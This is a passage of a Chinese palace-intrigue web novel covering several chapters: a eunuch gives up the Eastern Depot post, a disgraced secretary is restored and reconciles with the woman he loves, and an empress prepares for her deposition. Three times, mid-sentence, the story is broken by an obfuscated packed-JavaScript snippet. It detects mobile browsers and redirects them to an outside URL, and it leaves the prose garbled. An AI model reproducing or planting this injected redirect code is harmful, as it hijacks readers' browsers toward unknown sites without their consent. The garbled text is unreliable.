宁澈挑眉,他今日还真没准备什么能赏的物件。可若说没有,也显得他这皇帝做的忒小气,于是朝夏绫投去一个询问的眼神,看看她这葫芦里到底卖的什么药。 谁知,他却发现夏绫已盯上了自己的书案,循着她的目光看去,宁澈看见了自己那盒今年新进上来的徽墨。 他的脸一瞬间变了色。这盒徽墨是刚从南直隶送上来的,以梅兰竹菊四君子为墨谱,做工极为精美,他就是因为喜欢的不得了,才成心放在案头上,以便时不时的拿来把玩一下。 宁澈看向夏绫的眼神里满是抗拒——不行,不要,我不乐意。 夏绫权当没看见,魔爪已伸向了那盒松烟墨。拿来吧你。 她将那盒墨递给方苒:“方姑娘,这是皇上赏赐给你的,勉励你能榜上有名。” 方苒受宠若惊,忙谢恩道:“奴婢谢陛下恩典,自当勤勉自持,不负陛下隆恩。” 事情到了这份上,宁澈也只能咬牙说道:“女官遴选在即了吧,给你添个好彩头。” 夏绫冲御座上的皇帝勾了下唇角。 苒苒此番这遭血肉之苦,说到底还不是因为他。出点血吧你。 * 何敬是转过天来,才知道皇上在乾清宫同时召见了庄衡与方苒的事。 猝听此消息,何敬如坠冰窟。方苒那丫头在皇上面前,都说什么了? 他赶忙找昨日当值的人去打听,可问了好几个,得到的回答都是,当时只有小乔跟在皇上身边,到底说了些什么,他们也不得而知。 这让何敬愈发觉得心里没底。 这几月来,无论他怎么谨小慎微,皇上对他的态度始终不冷不热。就连在御前当值伺候的时间,也明里暗里被削去了近半。这无异于透露出一个信号,皇上对他已心有不满,并不想看见他。 如若方苒再从皇上跟前说了什么他曾用钱袋子威胁过她的事情,那自己这司礼监掌印,怕是真的要做到头了。 何敬越想越觉得坐立难安,即便今日仍不是他的值,还是吩咐手下秉笔换了班,往乾清宫去了。 上午皇上在文华殿同几位阁部大臣议事,见何敬在一旁伺候茶水笔墨,神色与往日无异,还问了他几个同批红相关的问题。 廷议散后,何敬伺候皇上回乾清宫午歇了片晌,醒来后皇上见春光明暖,又让他将藤椅置于花窗下,躺在上面看起书来。 何敬半分不敢出声打扰,只安静的侍立一旁,随时等候皇上差遣。午后慵懒的春光给人片刻的松弛,却忽听得皇上说了一声:“何敬。” 何敬后颈一僵,忙至藤椅旁跪下道:“主子,奴婢在。” 宁澈依旧在漫不经意的翻动着书页,淡淡说道:“朕听闻,你从前在内书堂念书时很是刻苦,考校时常名列前茅。” 何敬俯身答:“是奴婢愚笨,只得多在时间上下功夫。” 宁澈哦了一句,状似无意的问他:“那你同朕讲讲,‘借刀杀人’是什么典故?” 何敬冷汗乍起,却只得硬着头皮答到:“回主子,出自……?三十六计?,‘敌已明,友未定,引友杀敌,不自出力,以损推演。’后演绎为‘借刀杀人’的典故。” 见宁澈许久未语,何敬心中惶惶不安,冷汗涔涔的抬起头:“主子……” 宁澈却打断他:“你答的很好。出去吧。” 何敬只得出了乾清宫,明明殿外一地暖阳,可他却觉寒意浸身,两股战战。 数个念头在他心中转了几转,最后何敬下定了决心,抬脚往东侧廊后的那间小房走去。 夏绫正蹲在狗窝前,将小铃铛的狗粮倒进它的饭盆里。她站起来时,刚好看到何敬往这边走来,于是过去打招呼道:“何掌印。” 谁知何敬却直直跪在她面前,声泪俱下道:“姑娘,求您救救奴婢吧!” “哎,掌印。”夏绫被他这突如其来的大礼给下了一跳,“您有话起来说,这要让人看见别再多一重误会。” 夏绫请何敬进了屋。她同何敬当算是故年旧识,从前在西五所时,也没少承他的照顾。因这一份情分在,夏绫也很不忍心真看着他走进死路里去。 “掌印,您先请坐吧。”夏绫自己也坐在了另一侧的椅子上。 何敬如坐针毡,急着开口道:“绫姑娘,恳请您能给奴婢指条明路。” 夏绫并没有接着他的话往下说,而是不疾不徐的浅淡一笑:“掌印,同您对坐在这倒让我有些恍惚,想起张掌印还在时的事来了。” 张寅。 “何掌印,在你心里,张掌印是个怎样的人?” 何敬同张寅,确是有父子情分在的。他想了想答:“干爹他性子温和敦厚,却又赏罚分明,所以奴婢既敬他,但也怕他。” 夏绫点头道:“我同你一样,对张掌印既敬又怕。不过,我却有一点最佩服他。那便是知道他向皇上请辞去给先帝守陵的时候。何掌印,你觉得张掌印缘何会将在宫中经营的一切片叶不留,而心甘情愿的将掌印之位交到你手里?” 何敬低头沉思了片刻,他被夏绫引着,的确想到了一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268192|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情。 那是张寅决意辞去司礼监掌印之职的前一个晚上。 “干爹,”何敬跪在张寅身后,声声切切的恳求到,“儿子求您了,不要走!” 一直以来,张寅都是他的主心骨,何敬无法想象,如果干爹不在了,凭他一人,如何拖得动整个司礼监不行差踏错。 张寅从桌案前转过身,将何敬扶起:“敬儿,干爹老了,还想要一个善终。” 数十年的宫廷生活,让这个自幼便因穷苦净身入宫的老内侍,青丝不复在,白发已成霜。 父子二人同坐在司礼监值房的门口,遥望着耿耿星河。 “一朝天子一朝臣。即便我自己不走,现在这位新主子,也不会容得下我的。” 张寅淡淡说道,此时距新君即位,尚不满一月。 新皇不再是个小孩子了。他心中怎么可能想不明白,瞒住傅薇在浣衣局生子,让他十年不入宫廷,这其中究竟有谁的手笔。 何敬低头道:“干爹,您伺候了先帝那么多年,新主子……难道真半分不念旧情么。” “皇上念不念旧情,是主子的事。但是咱们在宫廷中,不能抱着侥幸讨日子。”张寅声音中难掩沧桑,“乾清宫中的新主子,会是位厉害的角色。他看似同先帝并无二致,杀伐果决,城府难测。可是在内里,他却像极了他的母亲,纯良正直,千仞无枝。” “寻常人家的孩子,乍一由俭入奢,有多少被财权色欲迷了双眼,乃至荒废怠惰,再不愿忆起之前的辛苦日子。可他不是。独居高位,仍宵衣旰食,昔年故交,仍视若珍宝。这样的人,能将权术玩弄到极致,却又不屑于摆弄权术。想在他身边讨日子,不能没有心机,却也不能有太多心机。” 张寅在何敬肩上拍了拍,声声郑重:“敬儿,干爹已身无长物,唯一能留给你的,就是在宫廷中这几十年自己悟出来的保命法子。” 何敬心中悲戚翻涌,双膝触地道:“干爹,儿子听着。” 夏季的夜风将老掌印的双眼吹拂的有些潮湿。 “外头寻常人家,或为父母,或为妻儿,都想着能多挣点什么,能多留下些什么。但咱们这些做奴才的,自净身入了宫廷的那一日,便没有什么属于自己的东西了。财物也好,性命也罢,全都是主子的私产,主子想让你为白,那即是白,主子想让你为黑,那便是黑。跟在主子身边,重要的不是你自己挣到了什么,而是主子究竟想给你些什么。所以敬儿你记住,你现在所得到的这些,都不是你的,只是主子暂时要你保管的。往后在宫中,你一定要恪守住‘放手’二字,这样方能走得长远。” 彼时的何敬,只是记住了干爹的这番话,但并没有参透话里的意思。可自执掌内府后,权势越来越盛,私欲也越来越旺,竟忘了要守住“放手”二字。 夏绫见他是真的想进去了,又喊了喊他:“何掌印?” 何敬恍然回神。他站起身,同夏绫深深作揖道:“多谢绫姑娘提点。奴婢自知此次犯了大错,罪无可恕,这就去向主子请罪。” “哎,何掌印。”夏绫却叫住他,“我私以为,皇上要的不是你的认错。” 这段时日,夏绫自己心里也老是琢磨着,宁澈究竟是怎么想的。 如果何敬直接到皇上面前挑明认了罪,那就相当于把球踢给了皇上。若饶,皇上对庄衡不好交代,若罚,他确实也不想舍了何敬。 所以皇上才迟迟不对何敬发难。因为他在心里,压根就不想让这件事情有个了结,而将这种悬而未决的恐惧变做何敬头顶的一把刀,让他此后再不敢轻举妄动。 此才为诛心之道。 夏绫也站起身来,同何敬低声说:“皇上动怒的原因,不在于你想对庄衡大人做什么,而在于你绕过了他,自己私做了主张。何掌印,皇上念及旧情,对你仍存了几分宽容,他想要看的是你今后的态度。我言尽于此,相信以你的心思,不会想不明白的。” 何敬沉默片晌,心中已了然。能救他的,干爹早已告诉过他了,不过还是那“放手”两个字罢了。 106. 断尾求生 夜近子时,乾清宫中白日里在御前行走的秉笔写字皆已叩头退下,又到了皇上将要就寝的时分。 宁澈照旧倚在床头上翻着书,何敬赶这时候端了一盆洗脚水进来,跪在脚踏边。 “主子,奴婢伺候您洗洗脚吧。” 宁澈搁下书,瞥眼向下看去:“今夜谁当值?” 何敬恭敬答到:“奴婢见今晚值夜的是两个年轻时小子,怕他们做事不牢靠,奴婢便自己来了。” 见皇上许久未言,何敬又低声道:“主子,过会水该凉了。” 宁澈沉了片晌,才坐起身来,把裤腿往上拽了拽,双脚踏进了木盆里。 何敬挽起袖子,将温水轻柔的撩在皇上的小腿上,又用指腹按压着腿上的穴位。 宁澈双手搭在床上,垂眸看着何敬的头顶。该说不说,单洗脚这一件事,他还真没遇上过比何敬伺候的更舒服的。 在他十一二岁,在病榻上度过的那几年时光里,都是何敬在贴身伺候着的。太医说,时常用草药泡脚,有助于强身健体。何敬就自己去跟着太医学了一套手法,日日在泡脚时给他疏通经络,跪在地上一按就是半个多时辰。 谁不知道做这差事苦,可他就端端正正的跪着做,从来没喊过一声累。 “何敬,”宁澈开口道,“你有话说?” 何敬神色微凝,可手上的力道却没停下来:“主子英明,奴婢确实有话想禀奏。” 宁澈颔首:“那你说吧。朕听着。” “奴婢遵旨。”何敬这才停下手,双手触地躬下身子,“蒙主子垂爱,奴婢自接管司礼监以来,便也一直兼着东厂厂督的职。可奴婢惭愧,司礼监事务之繁杂时常令奴婢力不从心,生怕身兼过多要职,反更伺候不好主子。故奴婢想自请辞去东厂厂督一职,请主子另觅良才。” 宁澈沉吟须臾,方问他:“那你可有要举荐的人选?” 何敬答:“奴婢心中确有一人选,只是不知当讲不当讲。” “讲吧” “是。”何敬将身子伏的更低了些,沉了沉气息道,“奴婢以为,司礼监之前的谭秉笔,或可担任此职。” 宁澈手上的玉扳指磕在床沿上,哒的一声清响。 何敬见皇上没有打断他,心知这次大概是猜对了,继续道:“谭秉笔此前虽语出无状,触怒了主子,但奴婢与他共事的这些时日,深觉他是个沉稳踏实的人。或许他也是头回接这类案子,生怕诬了谁的清白,才多疑心了些,实则并没什么坏心思。如今既已明了方苒那丫头是清白的,奴婢也想同主子求个情,不如让谭秉笔回来吧。这样一个人,若发落去做杂役,也是可惜了些。” 他所说的这番话,其实漏洞百出。若谭小澄真是发现了什么可疑之处,为何不先同何敬这个掌印商议,却偏要自作主张在御前将事情抖出来呢。这其中有谁的问题,不言而明。 但宁澈就像没听出来一样,声色如常的吩咐道:“这是你们司礼监的事,你要是看着合适,那就这么安排吧。” 何敬叩首谢恩,眼眶却有些潮热。 自始至终,他对君王都未曾有过一丝不忠。唯一的妄念,便是还渴求着自净身后便被碾碎的自尊。何敬总觉着,只要自己肯花心思,终有一日也能同庄衡大人一样,与外官平起平坐。 罢了。奴才终究只是奴才,他认命了。 虽是不得不用这种断尾求生的方式,但他这步棋,到底是走活了。 * 二月下旬,女官考试如期而至。 当天一早,夏绫便拎了两个她自己包的粽子去找方苒,高高的挂在她门梁上,以取“高中”之意。 自方苒进了考场后,她便领着小铃铛一直在乾东五所外头等,直等到午时,锣声一响,尘埃落定。 “苒苒!”夏绫等到方苒提着考篮出来,忙迎上去问到,“感觉怎么样?” 方苒抿嘴笑笑:“题目都是我之前温习过的,只不过我写的有些慢,但好在时辰到时都答完了。” 因手指还未康复到刑前那般灵活,她现在也只能勉强握住笔,写字的速度自然会慢上许多。 方苒有些腼腆的同夏绫讲:“我此番考试,用的是小汤送的砚台,你送的笔,还有……庄衡大人送的墨。总觉得有你们都陪着我一块,无论结果如何,我都没有遗憾了。” 夏绫笑嘻嘻的,她只听见“庄衡送的墨”几个字了。 “那皇上给你的那盒墨呢,这好东西你咋不用?” 方苒脸一红:“这……御赐之物,我怎敢随便拿来用,定是要好好保管着了。” 夏绫两眼一翻。谁不知道啊,庄衡送的东西就是比御赐的还要好。 她拉起方苒说:“苒苒,你快去把东西放下,同我去个地方。” 方苒疑惑:“去哪?” 夏绫明媚一笑,如春光般灿然:“去廊下家,接小谭哥。” 两人到后罩房时,正巧碰上司礼监的人也过来传话,夏绫同方苒在外面等了一会,才见到谭小澄出来。 与他走在一处的还有一位司礼监的秉笔,应该是交了调令来接他出去的。那人一改往日司礼监冷言冷语的神色,对谭小澄极为热络,引着他往外走来,不知在说些什么。 谭小澄只是客套的同他笑笑,又寒暄几句过后,方拱手告辞。 夏绫这才拉着方苒出来,站到显眼的地方,笑着同谭小澄挥了挥手。 谭小澄东西不多,只手里拎着只小包袱。见到两个女孩,他神色微动,快步朝她们走过来。 “夏姑娘,方姑娘。” 几个月的磋磨,让他瘦了许多,也黑了许多,原本乌黑油亮的一头黑发,也无端掺了几缕银丝。这其中的辛苦可想而知。 见他这般模样,方苒心中涩意难忍,深深对他福了一礼道:“谭少监,您的救命之恩,方苒此生没齿难忘。” 再听到“少监”这二字称呼,谭小澄竟有种恍然隔世之感。 他连忙将方苒扶起:“方姑娘,您这样说太言重了。我只是因职责所在,说了自己该说的,但却也因此累及了庄衡大人,心中也很是过意不去。” 方苒连连摇头:“这句道谢,也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282162|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄衡大人托付我一定要说与您的。若您之后有什么用得着我们的地方,还请不吝吩咐。” 夏绫在一旁看得眼眶发热,却忍泪笑道:“行了,本来是好日子,越说倒越引人神伤了。道谢不急在这一日,往后的日子都长着呢。” 方苒按了按湿润的眼角,应道:“是,是。来日方长,来日方长。” 冬去春来,日子总归还是有盼头的。 谭小澄刻意往夏绫身后望了望,眼神当中却难掩失落。他同夏绫借了一步说话,压低声音问:“乔,小汤……她还好吗?” 夏绫心知,早晚会有这么一问的。 她叹了口气:“你说你这样,她又能好到哪去呢。” “自你去了杂役房后,小汤为了多攒些银钱,日日五更起来将仁寿宫打扫干净后,就去找□□那些大宫女们揽杂活。洗衣缝补,绾发梳妆,只要能赚钱的她全都干,日日做到三更天才歇下。这其中受了多少辛苦,挨了多少白眼,我就不一一跟你说了。” “我同针工局的孟芸姑姑有几分旧年交情,后来我拿着小汤的绣样找了她,孟姑姑对这丫头的针线活还是满意的,便愿意留她在针工局做些杂工。所以小汤现在白日里在针工局打下手,下了值后再回去干仁寿宫的洗扫。虽仍是辛苦,但至少不用四处看人脸色了。” 谭小澄嘴唇微颤,不住自责道:“都是因为我,都是我连累了她。” 夏绫道:“小谭哥,你们俩之间的事我原本不该多嘴,但我又忍不住想僭越劝你一句。你总是自己觉着,做的这些事都是在为小汤好,可你又问过她怎样才算是好么?你看这丫头现在过得这个样子,这就是你期盼的过得好吗?” 谭小澄蓦然抬眸:“我……是我配不上她。” 夏绫一咋舌:“你跟方苒,你俩真都是一个德性。” 夏绫无奈的看了他一眼,从自己衣袖里摸出一只钱袋子,放到谭小澄手中。 “当日小汤托付了一笔银钱给我。其中的一半,我已按她的嘱托送到了你河间府的家中。这是剩下的另一半,她想托我替你打点的。” 谭小澄捧着钱袋子,双手不由得有些颤抖。这些事,不是他离宫时拜托夏绫要帮他做的吗? 夏绫见他这僵若木偶的样子,便知他一时半刻也下不了决断。此处不时还有杂役房的小火过往做活,夏绫觉得干站在这里有些碍事,便同谭小澄一道往西华门走去,边走边说。 “你从前在河边的值房,小吴和小金已给你收拾妥当了。皇上给了你十天的假,让你好生歇歇,把身子将养好。待到你回乾清宫复了职,把自己这摊事料理清楚后,便去找小汤一趟吧。这笔银钱,你究竟是还是留,你们两人当面商量清楚,别长了嘴却都不知道说话。” 谭小澄自是颔首应下:“奴婢谢过主子恩典。” “你谢皇上谢的倒快。”夏绫真是都有点佩服谭小澄这抓重点的本事了,“小谭哥,我说句实话。外头人家明媒正娶来的媳妇,都少有能做到小汤这个份上的。这么好的丫头,你若是真寒了人家的心,可就再也挽不回来了。” 107. 东厂新督 十日后,谭小澄回乾清宫复职。 小金和小吴已早早的在殿外等候,两人换了一身簇新的衣服,见了谭小澄齐齐喊了一声:“师傅好!” 两个半大孩子喊完,双双却都红了眼眶。 他们俩也都是苦命人,没有干爹护着,在宫里受尽欺凌。是跟了谭小澄之后,两人才算是有了个依靠。虽说师傅平日里待他们严厉了些,却也是真心待他们好,两人心思纯直,都是知道感恩的孩子。 谭小澄心中亦是百感交集。他家中弟弟,同这两个徒弟年龄差不了几岁。自己净身入宫时,弟弟还小,时至今日,他甚至都不知道弟弟长成了什么模样。带着这两个小子,他也算尽了一份当兄长的心。 谭小澄在小金和小吴肩上拍了拍:“用心当值吧。” 两人皆低头应是。 谭小澄同方从殿内退下来的秉笔交了班,垂手步入乾清宫。 一股清冽的果子香扑面而来,熟悉到让他打了个激灵,两臂上的汗毛霎时都战栗起来。 皇上此时正在乾清宫中翻阅着内阁的票拟,与往日无异,神色依旧冷峻淡漠。谭小澄便也同从前一样,研墨洗笔侍候笔墨,一切熟稔的得心应手。 就好像他从未离开过这里。 厚厚的一摞票拟终是见了底。宁澈觉得有些累了,倚在御座的靠背上阖目养了片刻的神。他闭着眼睛,忽说道:“谭小澄,替朕揉揉肩膀吧。” 谭小澄应是,轻步走到帝王身后,隔着缂丝的衣料,轻缓的揉按着他的双肩。 宁澈的眉目逐渐舒展开来,在纷杂政务间的烦累,也在这一张一弛间一点点松懈下来。 冷不丁的,他开口问了句:“谭小澄,你恨朕吗?” 谭小澄指尖一僵,以为是自己手生了,弄疼了皇上,连忙跪伏在御座边,低头道:“奴婢不敢。” 宁澈睁开眼,依旧散漫的倚在软垫上:“你别误会,朕没有责怪你的意思。现在这里没别人,朕只想听你说些真话。” “是。”谭小澄垂眸答到,“奴婢万不敢对主子心存怨怼。奴婢从未奢求自己一生能顺遂无虞,潮起潮落,风晴雨雪,奴婢都只当是自己的命数使然,未曾忌恨过旁人半分。” 同那些“雷霆雨露均为君恩”之类的话相比,谭小澄这番话,却更能显其真心。 宁澈单手搭在御座扶手上,无意识的轻点着:“那你可知,你为何还能再回到乾清宫来?” 谭小澄思量片刻,方回话说:“是掌印替奴婢求了情,是主子对奴婢开了恩。” “谭小澄,你跟在朕身边时日不短了,也知道朕的脾气。但凡是挨过罚的内侍,朕从来没有让谁回来过,就是提防着有人心思不纯,生了怨恨。可是这回,为何朕偏偏只将你提了回来?” 谭小澄咬了咬唇,声音复压低了几分:“是因为……奴婢对主子还有用。” 他自己心中当然清楚,皇上留着自己,就是让他去制衡何掌印,以避免任何一人在内廷中独大。 宁澈哑然失笑。这人也太实诚了些,让他说实话,还真就直不楞登的一点弯都不带拐,倒什么都敢说。 “那要是哪天你没用了呢?朕又该如何对你?” 这属实是个有难度的问题,谭小澄后颈不由得起了层凉汗。思前想后了一会,他只得答到:“那奴婢……尽量不让自己变得没用。” 宁澈暗自蹙了下眉。 他支起一侧的身子,略俯下身,以离谭小澄更近些:“那朕来告诉你为什么。” “一个秉性正直的人,往往不会一帆风顺,反倒会遇到更多的险阻。但这并不意味着,这种品质不可贵。朕将你提回来,也是想告诉你,坚守本心并没有错,一个人不应因刚直犯下的错而被埋没。” 正直的人。 谭小澄心中微动,皇上的意思,是在认可他吗? 他有些不确定的抬起头来,却正看见,高座上的帝王也在审视着他。 这是第一次,谭小澄在与帝王对视时,心中涌起时不是畏惧,而是坦然。 “奴婢,谨记主子教诲。” 宁澈换了个姿势,稍坐直了些:“司礼监中的秉笔掌印,都是在内书堂念过书的,唯有你是个例外。你若想在朕身边待的长久,必不能总让自己有这样一个短板。” 这是戳到谭小澄的痛处了。他何尝不想入内书堂,但无奈方入宫时便被派去了做杂役,此后也再无缘接受那些先生学士的指教了。思及此,他不由得有些自卑:“奴婢惭愧。” 宁澈的话并没有说完:“所以朕想着,准你如内书堂去听讲。只不过,乾清宫的值你不能耽搁,且内书堂多是些年岁小的内侍,你在其中势必会有些突兀,定是会比旁人辛苦些。朕看你的意思,乐不乐意去。” “乐意,奴婢愿意去!”谭小澄立时答到,甚至都有些忘了在御前的规矩。他的心中隐隐腾起了波澜,内书堂,他做梦都想去那里念书啊。 “谢主子……”谭小澄深深叩了首,声音竟都有些发哽。 宁澈嗯了声,复说道:“待修习完了在内书堂的课业,你便去接了东缉事厂厂督的职。” 谭小澄脑子里嗡的响了一声,自己听到什么了,东厂? 他有些不可思议的抬起头来:“奴婢,掌东厂?” 宁澈扬眉:“怎么,你不愿意?” 谭小澄摇了摇头,有些发懵:“奴婢只嫌自己太过粗陋,担不起此等重任,更怕辜负了主子的重托。” “没有人天生就是什么都会做的。”宁澈语气中多了几分严苛,“东厂如今本就式微,你初掌东厂时,朕会让庄衡先带着你办些案子。锦衣卫中本就有一部分该听东厂的差遣,现在都在北镇抚司压着,对庄衡也是累赘。” “另外,你一定要记住,你不是庄衡的下属,无需事事都听他的,也万不可自轻自卑。东缉事厂和北镇抚司,从来都不是谁从属于谁的关系,你要永远记得,东厂只有朕这一个主子,朕既然用你,就必然会信你。你不用刻意去模仿谁,也不要被曾经的东厂是什么样子所影响,按照你认为对的方式去做事,手里既要握的起利刃,心中也要常怀着敬畏。” 及至此时,谭小澄方确信,皇上不是一时兴起才想将厂督之职交给他的。 他心中一时百味杂陈。 自从入宫做了内侍,他便将东缉事厂视为一座高不可攀的山峰,但那也不过是因为,见过了宣明朝东厂的威风,想自己之后再也不受欺负而已。 而当厂督之职真正落到自己头上时,谭小澄心中反倒没有狂喜,而只是微澜。 前路必定荆棘丛生,他也必会面对较之从前更甚的辛苦。可心态却已截然不同,他竟没有丝毫畏惧,而是整装待发,从容踏行前路。 谭小澄俯身郑重拜下:“奴婢必结草衔环,不负主子厚望。” * 下值后,谭小澄站在乾清宫外梳理了片刻的心情。 他没有立时出宫回自己的值房去,而是向东往仁寿宫走去。 在后殿与隔墙的夹道里,小汤正守着炉子自己煮晚饭。 她只有一个人,总是吃的很简单,无非就是煮一碗清汤面,再烫几片青菜叶而已。 谭小澄躲在立柱后,悄悄看了她一会,没有敢贸然打扰。 小汤煮好了面,双膝并拢坐在小杌子上,抱着碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296228|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口一口的吃了起来。她的吃相很乖巧,闭着嘴嚼的不出声响,只不过唯有她一个人,显得形单影只了些。 谭小澄背身倚在朱漆高柱上,狠狠压了压眼底的潮热。 待小汤吃好了饭,抱着碗要去洗时,谭小澄方鼓足勇气现了身。 “圆妹。”声音中多是情怯。 汤圆被这突然出现的人怔在了原地。 可她只是有些陌生的将谭小澄打量过,旋即低下头,绕过他自己洗碗去了,一句话都没有说。 但眼睛分明就是红了的。 谭小澄连忙追上去,将她的碗夺过来:“圆妹,我帮你洗吧。” 汤圆抢不过他,两手空空的没有着落。她吸了吸鼻子,冷冷淡淡的说了句:“不敢劳烦谭少监,这碗我不要了。” 说罢,便转身回自己房间去了。 谭小澄抱着碗木在原地,心里却如千疮百孔般疼痛。他痛骂了自己一句混蛋,当日他说要同小汤一刀两断时,她心里又得有多疼啊。 他还是默默的去洗净了碗,放在小汤日常搁碗的地方。这里原本有两只碗的,一只是他的,一只是小汤的。只可惜,他的那只碗,已被摔碎在杂役房的雪地中了。 夜幕四合,黑暗逐渐将谭小澄吞没。只有小汤房间的窗格中,透出的烛光是明亮的。 宫门已下钥,谭小澄无处可去,只得提了袍子坐到小汤的门口。椅门而坐,就如一只失了家的小土狗。 这一坐便是一整夜。 清晨,当汤圆推开门时,便看到那人蜷着身子坐在门口,将脸埋在他自己的臂弯里。 谭小澄听到声音,立刻站起身来,袍摆皱皱巴巴,显得有些狼狈。 “圆妹,”他急急开口道,“之前是我不对,是我犯浑,我今后一定都会让自己好好的,再不让你担心,也再不同你说分开的话了,行吗?” 将汤圆仍不说话,他又从怀里摸出了在身上揣了一天一宿的钱袋子:“这是小乔给我的,我才知道你为我做了多少事。你如果还没消气,就,就揍我一顿,但是你能不能,别这样不理我……” 汤圆低着头,鼻尖有些泛红。她转身回了屋去,啪的一声将房门阖上。 谭小澄怔怔看着闭合的房门,落寞的垂下了眼眸。他在门外又站了一会,最后将小汤的那只钱袋子轻轻放在她门前的石阶上,转身离开。 就在他走出几步时,忽听得身后传来一声:“喂。” 谭小澄蓦然回首,见汤圆又打开了房门,手里同样拿着一只钱袋子。 是谭小澄当日交给夏绫的那一只。 汤圆走到他面前,声音有些沙哑:“这个是小乔姐给我的。我也才知道,你在背后都为我做了什么。” 她睫毛上还沾着水痕,想必是自己方才躲在屋里偷偷哭过。 两个钱袋子摆在一堆,彼此间的心意不言而明,又如何说的出一个“不”字。 “我要去针工局当值了。”汤圆将自己手中的钱袋子都塞到谭小澄手里。 谭小澄连忙推给她:“我不要,这些钱全都是为你攒的,你收回去。” “我是让你帮我放到屋里去。”汤圆有些气恼的蹬了他一眼,“你今日当值吗?” 谭小澄傻乎乎的摇了摇头。 “那你帮我把仁寿宫打扫干净,然后去把饭烧了,我中午会回来吃。” 谭小澄看着汤圆离开的背影,眼睛倏忽一亮,如果他有尾巴,大概此时已经高高翘上天了。 “哎,哎,瞧好吧您!” 汤圆噗的一笑,扁着嘴回头看他,抬手擦了擦眼泪。 人生还长。前头一定会有好日子的。 108. 春日小宴 三月初的清晨,紫禁城尚未在沉睡中醒来,西二长街上却有一人匆匆而行。 那人穿着粗布衣裙,是宫中洗扫的粗使宫女常见的装束。 她的步履愈发急促,直往永宁宫走去。宫门前值守的两个小火本在昏昏欲睡,见了她都一下醒了神:“徐婉姑姑?” 徐婉低声应了,有些怯怯的踏入了永宁宫。 经过太医院精心的调理,纪瑶的身体现已恢复如常,只是气血还有些亏,脸色时常苍白。 她如从前一样,照例会醒的很早,在晨露尚未褪去之时,照看她养在廊下的花草。 历经了一个凛冬,这些草木无人照看,本已尽都颓败凋零。可谁知,经春风一度,几个花盆的土壤中竟又钻了小芽出来,欣欣向荣。 “姑娘。” 这熟悉的声音,令纪瑶双肩一滞,手中的水壶没拿住,铛的一声倾倒在了地上。 “婉娘?” 徐婉快步走过去,直跪在纪瑶跟前,眼泪跟着就落了下来:“姑娘,这段时日,您受苦了。” 自出了纪瑶雨叩宫门的事后,她便被皇上发落去了直殿间,后又给指派去了西苑,在太液池西岸那些无人居住的宫殿中做洗扫的粗使活计。 这差事极为辛苦,需跪在地板上,将殿内的青砖一寸一寸的都擦干净。一整天下来,人累的直不起腰来不说,双膝因为长时间压在硬地上,日日青紫。再赶上寒冬腊月,揉洗抹布的水冷的扎人,劳苦更甚。 自听到纪瑶病倒的消息后,徐婉日日忧心如焚,着了魔一样想要逃回紫禁城去。可她一个下等奴婢,又势单力薄,怎么可能想去哪就能去得了。每被管事的内监抓住一回,都是好一通教训,她已经记不清自己挨了多少打了。 “来,婉娘快起来,咱们进屋去。”纪瑶将徐婉扶起,她也是笑着的,但眼睛还是湿润了。 主仆二人对坐在花窗下,纪瑶拉着徐婉的手,怎么也舍不得松开。 这双手曾经白嫩细腻,帮她绾发上妆,洁肤净面,捧着她护着她。只要有婉娘在,纪瑶无论多难也能在她的怀里靠上一会。 可如今,这双手却粗糙皲裂,手心间都磨出了老茧。她这段时日一定吃了不少苦头。 徐婉轻拍着纪瑶的手,同她说道:“我本以为,就这样熬着看不到头了。可谁知,今早管事的公公却来同我说,我可以回宫来了。姑娘,您同万岁主子……是重归于好了么?” 她殷殷望着纪瑶,多么期盼,姑娘能过几天舒心时日子啊。 纪瑶却摇了摇头,浅笑道:“不,婉娘。我不做皇后了。” “不做,皇后?”徐婉没听明白她话中的意思。 纪瑶垂下眼睫:“没有一个皇帝能容得下一个企图自戕的皇后。婉娘,如果我没有猜错,皇上应当是要废后了。” “废后……废后?”徐婉的脸色一瞬间苍白,泪水一下子夺眶而出,“姑娘,他怎能,怎能这么对你?我的姑娘,你怎么就,这样命苦啊……” “好婉娘,你别哭。”纪瑶拿帕子轻轻为她拭泪,丝毫没有伤悲,“我却觉得这样没什么不好。本来我这个皇后做的就心不甘情不愿,如此一别两宽,倒也算放过彼此了吧。” 徐婉摸了摸纪瑶的脸颊,疼惜的说道:“可是姑娘,你可知道,被废的皇后过得都是什么日子啊?” 纪瑶早就想好了答案:“嗯,无非就是房子住的破一点,家具用的旧一点,来往的人少了一点。可这些我本就不在乎,我生性喜静,到时候侍弄侍弄花草,研究研究食谱,日子也是照过。不过婉娘,只是得委屈你,陪我去过那青灯古佛的生活了。” 